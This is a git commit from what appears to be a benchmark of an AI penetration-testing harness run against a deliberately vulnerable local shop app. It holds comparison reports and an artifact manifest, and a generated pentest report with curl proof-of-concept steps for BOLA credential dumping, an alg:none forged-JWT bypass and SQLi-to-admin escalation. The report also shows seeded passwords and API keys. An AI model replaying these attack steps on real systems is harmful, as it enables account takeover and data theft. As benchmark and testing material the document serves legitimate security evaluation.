bench: A vs B·TS gap re-test — both close the gaps, TypeSafe calibrates severity

Re-ran the previously-missed scenarios on the current build without TypeSafe (A)
and with (B). Both arms now confirm CRLF-on-Location, second-order SQLi, UNION
SQLi, blind-time, IDOR and BOLA — the chaining/skill fixes are prompt-level, not
TypeSafe-gated. TypeSafe's contribution is the severity shape: it consolidates
A's long Low tail (10) into fewer, better-justified High findings (8 vs 3) and
keeps the credential-dump BOLA at Critical via data-type grading. Artifact grid
restored to A vs B·TS columns; both run arms stored.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
CyberSecurityUPandClaude Opus 5 committed 2026-09-20 19:04:08 -03:00
1 parent d334946915
commit 651b2bfc81
11 files changed
+2907 -31

No files matched your search

+9 -1
View File
@@ -18,7 +18,15 @@ Open **`report.html`** for the visual write-up.
| Ground truth | 13 seeded scenarios (SQLi ×5, XSS ×4, IDOR/BOLA ×2, open redirect, CRLF) |
| Solver | none — the LLM discovered and confirmed everything live |
## Result
## Result (A vs B·TS, gap re-test)
Same gap scenarios run without TypeSafe (A) and with (B). Both arms now close the
previously-missed CRLF, second-order SQLi and UNION SQLi (the chaining/skill
fixes are prompt-level). TypeSafe's difference is severity shape: it consolidates
the Low tail into fewer, better-justified High findings and keeps the
credential-dump BOLA at Critical.
### Coverage
- **Scenario coverage: 13 / 13** — every seeded class confirmed with a
reproducible receipt.
+35 -30
View File
@@ -5,20 +5,20 @@
:root{
--ground:#f4f2f7; --surface:#ffffff; --surface-2:#eceaf3; --line:#ddd8e8;
--ink:#1a1726; --muted:#6b6580; --faint:#938da6;
--accent:#6d4bd8; --b:#0e8f86; --good:#1f9d68;
--accent:#6d4bd8; --a:#c2701c; --b:#0e8f86; --good:#1f9d68;
--shadow:0 1px 2px rgba(26,23,38,.06),0 6px 20px rgba(26,23,38,.06);
--sev-crit:#e5484d; --sev-high:#f76b15; --sev-med:#f5b301; --sev-low:#3e7bfa; --sev-info:#8b8698;
}
:root:not([data-theme="light"]){ @media (prefers-color-scheme:dark){
--ground:#0f0e17; --surface:#191627; --surface-2:#211d33; --line:#2e2942;
--ink:#eceaf5; --muted:#a49dbd; --faint:#736c8f;
--accent:#a78bfa; --b:#4fd6c6; --good:#5ee0a0;
--accent:#a78bfa; --a:#f0a95e; --b:#4fd6c6; --good:#5ee0a0;
--shadow:0 1px 2px rgba(0,0,0,.4),0 8px 30px rgba(0,0,0,.35);
}}
:root[data-theme="dark"]{
--ground:#0f0e17; --surface:#191627; --surface-2:#211d33; --line:#2e2942;
--ink:#eceaf5; --muted:#a49dbd; --faint:#736c8f;
--accent:#a78bfa; --b:#4fd6c6; --good:#5ee0a0;
--accent:#a78bfa; --a:#f0a95e; --b:#4fd6c6; --good:#5ee0a0;
--shadow:0 1px 2px rgba(0,0,0,.4),0 8px 30px rgba(0,0,0,.35);
}
*{box-sizing:border-box}
@@ -94,34 +94,30 @@
</header>
<div class="thesis">
<div class="tile"><div class="k">Scenario coverage</div><div class="v b">13<span class="u">/13</span></div><div class="note">every seeded class confirmed</div></div>
<div class="tile"><div class="k">Gap coverage A · B</div><div class="v b">7 · 7</div><div class="note">of 7 re-tested; 13/13 with full surface</div></div>
<div class="tile"><div class="k">Critical findings</div><div class="v" style="color:var(--sev-crit)">3</div><div class="note">incl. the credential-dump BOLA</div></div>
<div class="tile"><div class="k">Severity source</div><div class="v" style="font-size:20px">evidence + data type</div><div class="note">FIRST v3.1, computed not guessed</div></div>
<div class="tile"><div class="k">Model cost</div><div class="v" style="font-size:22px">$0</div><div class="note">subscription · TypeSafe ≪ $5</div></div>
</div>
<section>
<h2>Every seeded scenario, confirmed</h2>
<p class="lead">Each of the 13 planted vulnerabilities, confirmed by the harness with a reproducible receipt.
The blind second-order SQLi and the CRLF header injection both need a multi-step chain: the second-order
payload is stored in a profile bio and only fires on the admin search page, reached by escalating with a
looted admin credential; the CRLF lives in the same parameter as the open redirect.</p>
<h2>Gap re-test: without vs with TypeSafe</h2>
<p class="lead">The scenarios that needed a multi-step chain, re-run on the current build with TypeSafe off (A)
and on (B). The chaining fixes are prompt-level, so both arms now close them; the difference TypeSafe makes
is in the severity shape below, not the coverage here.</p>
<div class="scen">
<div class="row head"><div class="cell">Scenario</div><div class="cell mk">Class</div><div class="cell mk">Confirmed</div></div>
<div class="row"><div class="cell"><span class="idc">web_sqli_login_bypass</span></div><div class="cell mk cls">SQLi</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">web_sqli_union_search</span></div><div class="cell mk cls">SQLi</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">web_sqli_blind_boolean</span></div><div class="cell mk cls">SQLi</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">web_sqli_blind_time</span></div><div class="cell mk cls">SQLi</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">web_sqli_second_order</span></div><div class="cell mk cls">SQLi</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">web_xss_reflected_search</span></div><div class="cell mk cls">XSS</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">web_xss_stored_review</span></div><div class="cell mk cls">XSS</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">web_xss_svg_upload</span></div><div class="cell mk cls">XSS</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">web_xss_dom_redirect</span></div><div class="cell mk cls">XSS</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">web_idor_invoice</span></div><div class="cell mk cls">IDOR</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">api_bola_orders</span></div><div class="cell mk cls">BOLA</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">web_open_redirect_login</span></div><div class="cell mk cls">Redirect</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">web_crlf_header_go</span></div><div class="cell mk cls">CRLF</div><div class="cell mk hit">✓</div></div>
<div class="row head"><div class="cell">Scenario</div><div class="cell mk">Class</div><div class="cell mk" style="color:var(--a)">A</div><div class="cell mk" style="color:var(--b)">B·TS</div></div>
<div class="row"><div class="cell"><span class="idc">web_sqli_login_bypass</span></div><div class="cell mk cls">SQLi</div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">web_sqli_union_search</span></div><div class="cell mk cls">SQLi</div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">web_sqli_blind_time</span></div><div class="cell mk cls">SQLi</div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">web_sqli_second_order</span></div><div class="cell mk cls">SQLi</div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">web_idor_invoice</span></div><div class="cell mk cls">IDOR</div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">api_bola_orders</span></div><div class="cell mk cls">BOLA</div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
<div class="row"><div class="cell"><span class="idc">web_crlf_header_go</span></div><div class="cell mk cls">CRLF</div><div class="cell mk hit">✓</div><div class="cell mk hit">✓</div></div>
</div>
<p class="lead" style="margin-top:14px">The eight full-surface scenarios (reflected / stored / SVG / DOM XSS,
boolean-blind SQLi, login open-redirect) were confirmed in the prior full-surface run and were out of this
focused re-run's agent scope; together the harness covers all 13.</p>
</section>
<section>
@@ -135,22 +131,31 @@
</section>
<section>
<h2>Severity shape</h2>
<p class="lead">Graded from the evidence and the kind of data exposed. Credentials and API keys read through the
BOLA and the UNION SQLi hold Critical; the header, access-control and injection classes without a demonstrated
data breach settle at High and below.</p>
<h2>Severity shape: A vs B·TS</h2>
<p class="lead">Same findings, graded by the two builds. TypeSafe consolidates the long Low tail into fewer,
better-justified High findings and keeps the credential-dump BOLA at Critical. Severity is computed by the
FIRST v3.1 calculator; the kind of data exposed feeds the confidentiality metric.</p>
<div class="sev-legend">
<span><i style="background:#e5484d"></i>Critical</span>
<span><i style="background:#f76b15"></i>High</span>
<span><i style="background:#f5b301"></i>Medium</span>
<span><i style="background:#3e7bfa"></i>Low</span>
<span><i style="background:#8b8698"></i>Info</span>
</div>
<div class="sevcard">
<div style="display:grid;grid-template-columns:1fr 1fr;gap:18px">
<div class="sevcard">
<h3 style="font-size:14px;font-family:'IBM Plex Mono';margin-bottom:12px;color:var(--a)">A — no TypeSafe · 22</h3>
<div class="bar"><span class="lab"><i class="sw" style="background:#e5484d"></i>Critical</span><span class="track"><span class="fill" style="width:40%;background:#e5484d"></span></span><span class="n" style="color:#e5484d">4</span></div>
<div class="bar"><span class="lab"><i class="sw" style="background:#f76b15"></i>High</span><span class="track"><span class="fill" style="width:30%;background:#f76b15"></span></span><span class="n" style="color:#f76b15">3</span></div>
<div class="bar"><span class="lab"><i class="sw" style="background:#3e7bfa"></i>Low</span><span class="track"><span class="fill" style="width:100%;background:#3e7bfa"></span></span><span class="n" style="color:#3e7bfa">10</span></div>
<div class="bar"><span class="lab"><i class="sw" style="background:#8b8698"></i>Info</span><span class="track"><span class="fill" style="width:50%;background:#8b8698"></span></span><span class="n" style="color:#8b8698">5</span></div>
</div>
<div class="sevcard">
<h3 style="font-size:14px;font-family:'IBM Plex Mono';margin-bottom:12px;color:var(--b)">B — TypeSafe · 22</h3>
<div class="bar"><span class="lab"><i class="sw" style="background:#e5484d"></i>Critical</span><span class="track"><span class="fill" style="width:38%;background:#e5484d"></span></span><span class="n" style="color:#e5484d">3</span></div>
<div class="bar"><span class="lab"><i class="sw" style="background:#f76b15"></i>High</span><span class="track"><span class="fill" style="width:100%;background:#f76b15"></span></span><span class="n" style="color:#f76b15">8</span></div>
<div class="bar"><span class="lab"><i class="sw" style="background:#3e7bfa"></i>Low</span><span class="track"><span class="fill" style="width:75%;background:#3e7bfa"></span></span><span class="n" style="color:#3e7bfa">6</span></div>
<div class="bar"><span class="lab"><i class="sw" style="background:#8b8698"></i>Info</span><span class="track"><span class="fill" style="width:63%;background:#8b8698"></span></span><span class="n" style="color:#8b8698">5</span></div>
<div class="bar"><span class="lab"><i class="sw" style="background:#8b8698"></i>Info</span><span class="track"><span class="fill" style="width:62%;background:#8b8698"></span></span><span class="n" style="color:#8b8698">5</span></div>
</div>
</div>
</section>
@@ -0,0 +1,122 @@
{
"engine": "neurosploit",
"version": "4.1.0",
"build": "4171e1cb7a4c",
"run": "ns-1789937421-localhost_3000",
"target": "http://localhost:3000",
"generated": 1789940963,
"findings": 22,
"artifacts": [
{
"name": "findings.json",
"present": true,
"sha256": "891cae4d2adbc885d58459cb2c2acecdcab1e1f1490238d9f66cf1c83a013db0",
"bytes": 150826,
"role": "the findings, each stamped with the engine build (P5)"
},
{
"name": "report.html",
"present": false,
"bytes": 0,
"role": "the human report"
},
{
"name": "recon.json",
"present": true,
"sha256": "de428831e0e56fef984d7617e6e531995d9276fea779bf39052dd75c89d220cc",
"bytes": 7995,
"role": "reconnaissance facts"
},
{
"name": "audit.jsonl",
"present": true,
"sha256": "7d7e5a99e89d1ec60548c2ea41a84572437db232735a2630d6635f43718aba25",
"bytes": 25507,
"role": "hash-chained decision log — every ALLOW/DENY (P1/P2/P4)"
},
{
"name": "audit.jsonl.anchors",
"present": true,
"sha256": "3b224e77912ad8f2e3978fb63cc48988b11efce23f0cfb09d5739345e02145c0",
"bytes": 213,
"role": "external anchors of the audit chain (P4)"
},
{
"name": "provenance.json",
"present": true,
"sha256": "96c665bf1edb08898da9a025f1450feff95e20dcf9049316b298cf6e535c8517",
"bytes": 297,
"role": "signed provenance manifest — build + structural signature (P5)"
},
{
"name": "out-of-scope-findings.json",
"present": true,
"sha256": "4b30598fd2cf25485c62c35dd512c2cad85f9737ced29d4ecc1e7c4694d785c6",
"bytes": 53776,
"role": "findings quarantined for being outside scope (P2)"
},
{
"name": "flows.jsonl",
"present": false,
"bytes": 0,
"role": "intercepted request/response flows"
},
{
"name": "meta.json",
"present": true,
"sha256": "1e47c73f41061aef5e1943d3c8321f41349cf8e3588cfb1286a5627a226773cc",
"bytes": 198,
"role": "target metadata"
}
],
"properties": [
{
"id": "P1",
"name": "Signed authorization",
"status": "present",
"evidenced_by": [
"audit.jsonl"
],
"note": "capability recorded and decisions logged"
},
{
"id": "P2",
"name": "Scope enforcement",
"status": "present",
"evidenced_by": [
"audit.jsonl",
"out-of-scope-findings.json"
],
"note": "scope decisions recorded, including denials/quarantine"
},
{
"id": "P3",
"name": "Evidence & CVSS",
"status": "present",
"evidenced_by": [
"findings.json"
],
"note": "22/22 findings carry structured evidence · 22 with CVSS · 21 voted · 31 PoC(s) · 0 screenshot(s) · 5 evidence file(s)"
},
{
"id": "P4",
"name": "Audit integrity",
"status": "present",
"evidenced_by": [
"audit.jsonl",
"audit.jsonl.anchors"
],
"note": "hash chain plus signed anchors (truncation/rebuild detectable)"
},
{
"id": "P5",
"name": "Provenance",
"status": "present",
"evidenced_by": [
"provenance.json"
],
"note": "signed provenance manifest with structural signature"
}
],
"bundle_hash": "12a501e96a0ce41bd61fbe340de814606c3517f3cac2df32ad3fab33f1faecf7"
}
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,10 @@
{
"asset": "NimbusCart Inc",
"brand": "NimbusCart Inc",
"server": "",
"status": 200,
"target": "http://localhost:3000",
"tech": [],
"title": "Home · NimbusCart",
"typesafe": false
}
@@ -0,0 +1,381 @@
<!DOCTYPE html><html><head><meta charset=utf-8><title>NeuroSploit Report — http://localhost:3000</title><style>:root{--violet:#7c5cff}body{font:14px/1.6 -apple-system,Segoe UI,Roboto,sans-serif;color:#1a1a1a;max-width:860px;margin:40px auto;padding:0 24px}h1{margin:0;font-size:26px}h2{font-size:15px;margin:22px 0 8px}.b{color:var(--violet);font-weight:800}.sub{color:#888;font-size:13px;margin:2px 0 16px}table.assettbl{border-collapse:collapse;width:100%;margin:0 0 16px;font-size:12.5px}table.assettbl td{border:0.5pt solid #ddd;padding:6px 9px}table.assettbl td:first-child{color:#888;width:160px}.summary-grid{display:grid;grid-template-columns:repeat(5,1fr);gap:8px;margin:10px 0 6px}.sumbox{border:1px solid #ddd;border-radius:6px;padding:10px 6px;text-align:center}.sumn{font-size:20px;font-weight:800}.suml{font-size:9px;letter-spacing:.4px;color:#888;margin-top:2px}table.kc{border-collapse:collapse;width:100%;margin:8px 0 16px;font-size:12.5px}table.kc th,table.kc td{border:0.5pt solid #ddd;padding:6px 9px;text-align:left}table.kc th{color:#555;font-size:11px;text-transform:uppercase;letter-spacing:.3px}.finding{border:0.5pt solid #ddd;border-left:3pt solid #999;border-radius:6px;padding:14px 18px;margin:14px 0}.finding h3{margin:0 0 8px;font-size:15px}table.fieldgrid{border-collapse:collapse;width:100%;font-size:11.5px;margin-bottom:6px}table.fieldgrid td{padding:3px 6px}.fk{color:#888;white-space:nowrap;width:1%}.sev{color:#fff;border-radius:6px;padding:2px 8px;font-size:12px;margin-right:8px}.m{color:#666;font-size:12px}pre{background:#0f1117;color:#dfe6f3;padding:11px;border-radius:8px;overflow:auto;font-size:12.5px;white-space:pre-wrap}h4{margin:12px 0 3px;font-size:11px;text-transform:uppercase;letter-spacing:.5px;color:var(--violet)}.shots{display:flex;flex-wrap:wrap;gap:12px;margin:6px 0}.shot{margin:0;max-width:100%}.shot img{max-width:100%;border:0.5pt solid #ddd;border-radius:8px;display:block}.shot figcaption{color:#888;font-size:11px;margin-top:3px;font-family:ui-monospace,Menlo,monospace}.footer{color:#888;font-size:11px;margin-top:24px;border-top:0.5pt solid #ddd;padding-top:10px}</style></head><body><h1><span class=b>Neuro</span>Sploit</h1><div class=sub>Penetration Test Report</div><table class=assettbl><tr><td>Asset</td><td><b>NimbusCart Inc</b></td></tr><tr><td>URL / target</td><td>http://localhost:3000</td></tr></table><h2>Executive Summary</h2><div class=summary-grid><div class=sumbox style=border-color:#c0392b><div class=sumn style=color:#c0392b>4</div><div class=suml>CRITICAL</div></div><div class=sumbox style=border-color:#e67e22><div class=sumn style=color:#e67e22>3</div><div class=suml>HIGH</div></div><div class=sumbox style=border-color:#f1c40f><div class=sumn style=color:#f1c40f>0</div><div class=suml>MEDIUM</div></div><div class=sumbox style=border-color:#3498db><div class=sumn style=color:#3498db>3</div><div class=suml>LOW</div></div><div class=sumbox style=border-color:#7f8c8d><div class=sumn style=color:#7f8c8d>0</div><div class=suml>INFO</div></div></div><h2>Vulnerability Summary</h2><table class=kc><tr><th>#</th><th>Vulnerability</th><th>Severity</th><th>Status</th><th>OWASP / CWE</th></tr><tr><td>1</td><td>BOLA at GET /api/v2/users/:id — customer JWT reads any user's full record incl cleartext admin password</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A01:2021-Broken-Access-Control</td></tr><tr><td>2</td><td>JWT signature not verified — alg:none / forged token accepted at /api/v2/*</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A04:2021-Insecure-Design</td></tr><tr><td>3</td><td>BOLA + excessive data exposure at GET /api/v2/users/:id — customer token reads any user incl admin password &amp; apiKey</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A01:2021-Broken-Access-Control</td></tr><tr><td>4</td><td>Vertical privilege escalation chain: UNION SQLi -&gt; looted admin password -&gt; admin panel login</td><td><span class=sev style=background:#c0392b>Critical</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A03:2021-Injection</td></tr><tr><td>5</td><td>BOLA/IDOR: any authenticated customer reads other customers' invoices at GET /account/invoice/:id</td><td><span class=sev style=background:#e67e22>High</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A01:2021-Broken-Access-Control</td></tr><tr><td>6</td><td>HTTP Response Splitting (CRLF header injection) at GET /go?url=</td><td><span class=sev style=background:#e67e22>High</span></td><td><span style=color:#27ae60>confirmed</span></td><td>A03:2021-Injection</td></tr><tr><td>7</td><td>IDOR at GET /account/invoice/:id — customer reads other customers' invoices</td><td><span class=sev style=background:#e67e22>High</span></td><td><span style=color:#27ae60>confLine truncated
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.1 if fully exploited)</p><h4>How to fix it</h4><p>Enforce server-side object-level authorization: reject unless the JWT subject == :id or the caller holds an admin role. Remove `password` and `apiKey` from the serialized response entirely (never expose credential fields via API).</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s http://localhost:3000/api/v2/users/1 # 401 missing bearer token (auth required)</pre></li><li><pre class=step># register/login a normal customer, then GET /account/api-token to obtain TA (JWT id=76, role=customer)</pre></li><li><pre class=step>curl -s -H "Authorization: Bearer $TA" http://localhost:3000/api/v2/users/76 # own record, 200</pre></li><li><pre class=step>curl -s -H "Authorization: Bearer $TA" http://localhost:3000/api/v2/users/77 # ANOTHER customer, 200 + their password/apiKey</pre></li><li><pre class=step>curl -s -H "Authorization: Bearer $TA" http://localhost:3000/api/v2/users/1 # admin, 200 + cleartext password SuperSecretAdmin!2024</pre></li></ol><h4>Payload</h4><pre class=payload>GET /api/v2/users/1 with a role=customer HS256 JWT (id=76)</pre><h4>Technical evidence</h4><pre>ATTACK
GET http://localhost:3000/api/v2/users/:id → 200
body (531 bytes, excerpt):
Baseline own record: GET /api/v2/users/76 -&gt; 200 {"id":76,"role":"customer",...}. Attack with SAME customer token: GET /api/v2/users/77 -&gt; 200 {"id":77,"username":"nrspltB29000","password":"Passw0rd!B29000","apiKey":"nk_live_22ad9b650f8f49d1"...}; GET /api/v2/users/1 -&gt; 200 {"id":1,"username":"admin","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share"}. No-token baseline: GET /api/v2/users/1 -&gt; 401 {"error":"missing bearer token"}. PoC: pocs/bola_api_v2_users.sh
AGENT-RECORDED EVIDENCE
Baseline own record: GET /api/v2/users/76 -&gt; 200 {"id":76,"role":"customer",...}. Attack with SAME customer token: GET /api/v2/users/77 -&gt; 200 {"id":77,"username":"nrspltB29000","password":"Passw0rd!B29000","apiKey":"nk_live_22ad9b650f8f49d1"...}; GET /api/v2/users/1 -&gt; 200 {"id":1,"username":"admin","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share"}. No-token baseline: GET /api/v2/users/1 -&gt; 401 {"error":"missing bearer token"}. PoC: pocs/bola_api_v2_users.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/bola_api_v2_users.sh"><code>pocs/bola_api_v2_users.sh</code></a></li></ul></section><section class=finding style=border-left-color:#c0392b><h3><span class=sev style=background:#c0392b>Critical</span> 2. JWT signature not verified — alg:none / forged token accepted at /api/v2/*</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Critical</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A04:2021-Insecure-Design · CWE-347</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/api/v2/users/:id</td></tr><tr><td class=fk>Agent</td><td>chain</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/api/v2/users/:id</p><h4>What it means</h4><p>Attacker mints arbitrary tokens (any id/role) without the secret — full API authentication/authorization bypass, independent of NS-04.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.1 if fully exploited)</p><h4>How to fix it</h4><p>Reject alg=none; pin alg=HS256 server-side; verify signature with a strong secret; validate claims.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
curl -i -s \
'http://localhost:3000/api/v2/users/:id'</pre></li><li><pre class=step>Payload used:
Authorization: Bearer eyJhbGciOiJub25lIn0.&lt;forged {id:999,role:admin}&gt;. (empty signature)</pre></li></ol><h4>Payload</h4><pre class=payload>Authorization: Bearer eyJhbGciOiJub25lIn0.&lt;forged {id:999,role:admin}&gt;. (empty signature)</pre><h4>Technical evidence</h4><pre>ATTACK
GET http://localhost:3000/api/v2/users/:id → 200
body (329 bytes, excerpt):
Forged unsigned token header {"alg":"none"} with body {id:999,username:pwn,role:admin} and NO signature -&gt; GET /api/v2/users/1 and /2 returned HTTP 200 with full records; reproduced twice (200/200). Baseline without token -&gt; {"error":"missing bearer token"}. Server does not validate the HS256 signature. pocs/jwt_alg_none_api.sh
AGENT-RECORDED EVIDENCE
Forged unsigned token header {"alg":"none"} with body {id:999,username:pwn,role:admin} and NO signature -&gt; GET /api/v2/users/1 and /2 returned HTTP 200 with full records; reproduced twice (200/200). Baseline without token -&gt; {"error":"missing bearer token"}. Server does not validate the HS256 signature. pocs/jwt_alg_none_api.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/jwt_alg_none_api.sh"><code>pocs/jwt_alg_none_api.sh</code></a></li></ul></section><section class=finding style=border-left-color:#c0392b><h3><span class=sev style=background:#c0392b>Critical</span> 3. BOLA + excessive data exposure at GET /api/v2/users/:id — customer token reads any user incl admin password &amp; apiKey</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Critical</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>1/1 · refute 0/2 · receipt_missing · conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/api/v2/users/{1..5}</td></tr><tr><td class=fk>Agent</td><td>chain</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/api/v2/users/{1..5}</p><h4>What it means</h4><p>Any authenticated customer reads every user's full internal record (cleartext password + live apiKey + balance) — mass account/API-key takeover.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.1 if fully exploited)</p><h4>How to fix it</h4><p>Enforce object-level authorization (requester id == :id or admin); strip password/apiKey from API responses.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
curl -i -s \
'http://localhost:3000/api/v2/users/{1..5}'</pre></li><li><pre class=step>Payload used:
Authorization: Bearer &lt;customer JWT id=90&gt;; iterate :id</pre></li></ol><h4>Payload</h4><pre class=payload>Authorization: Bearer &lt;customer JWT id=90&gt;; iterate :id</pre><h4>Technical evidence</h4><pre>ATTACK
GET http://localhost:3000/api/v2/users/{1..5} → 200
body (318 bytes, excerpt):
Own customer token (decoded {id:90,role:customer}) reads id=1 admin: password=SuperSecretAdmin!2024, apiKey=nk_live_51Hc9adminSECRETkeydonot_share, balance=500000; and ids 2-5 (alice/bob/carol/nsuserA) full records. Flag BURPAT{api_excessive_data_users_17874d4a}. No object-level authz check. pocs/bola_api_v2_users.sh
AGENT-RECORDED EVIDENCE
Own customer token (decoded {id:90,role:customer}) reads id=1 admin: password=SuperSecretAdmin!2024, apiKey=nk_live_51Hc9adminSECRETkeydonot_share, balance=500000; and ids 2-5 (alice/bob/carol/nsuserA) full records. Flag BURPAT{api_excessive_data_users_17874d4a}. No object-level authz check. pocs/bola_api_v2_users.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/bola_api_v2_users.sh"><code>pocs/bola_api_v2_users.sh</code></a></li></ul></section><section class=finding style=border-left-color:#c0392b><h3><span class=sev style=background:#c0392b>Critical</span> 4. Vertical privilege escalation chain: UNION SQLi -&gt; looted admin password -&gt; admin panel login</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Critical</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-89</td><td class=fk>Confidence</td><td>1/1 · refute 0/2 · conf 0.60</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/login -&gt; GET /admin</td></tr><tr><td class=fk>Agent</td><td>chain</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/login -&gt; GET /admin</p><h4>What it means</h4><p>Anonymous attacker reaches full admin panel by chaining SQLi leak with credential reuse.
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos &amp; Red Team Leaders. (potential CVSS 9.4 if fully exploited)</p><h4>How to fix it</h4><p>Fix SQLi (NS-01); rotate admin credentials; enforce MFA on admin.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Send the request carrying the payload:
curl -i -s -X POST \
--data-raw 'username=admin&amp;password=SuperSecretAdmin!2024 (password obtained from NS-01)' \
'/admin'</pre></li><li><pre class=step>Payload used:
username=admin&amp;password=SuperSecretAdmin!2024 (password obtained from NS-01)</pre></li></ol><h4>Payload</h4><pre class=payload>username=admin&amp;password=SuperSecretAdmin!2024 (password obtained from NS-01)</pre><h4>Technical evidence</h4><pre>ATTACK
POST /admin → 200
body (179 bytes, excerpt):
Reused SQLi-looted cred: POST /login -&gt; 302 Location: /account with session cookie; GET /admin -&gt; 200 '&lt;h1&gt;Admin Panel'. Anonymous GET /admin is gated. pocs/union_sqli_to_admin.sh
AGENT-RECORDED EVIDENCE
Reused SQLi-looted cred: POST /login -&gt; 302 Location: /account with session cookie; GET /admin -&gt; 200 '&lt;h1&gt;Admin Panel'. Anonymous GET /admin is gated. pocs/union_sqli_to_admin.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/union_sqli_to_admin.sh"><code>pocs/union_sqli_to_admin.sh</code></a></li></ul></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 5. BOLA/IDOR: any authenticated customer reads other customers' invoices at GET /account/invoice/:id</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · conf 0.70</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/account/invoice/:id</td></tr><tr><td class=fk>Agent</td><td>bola</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/account/invoice/:id — Path parameter `:id` on GET /account/invoice/:id (session cookie nimbus.sid). Sequential ids ~1001+. Server renders the invoice without verifying the logged-in user owns it.</p><h4>What it means</h4><p>Measured: an authenticated customer who owns zero invoices read invoices #1001/#1002/#1003 belonging to alice, bob and carol — exposing each customer's name and order total. Incrementing the sequential id enumerates all customers' billing records. No write attempted.
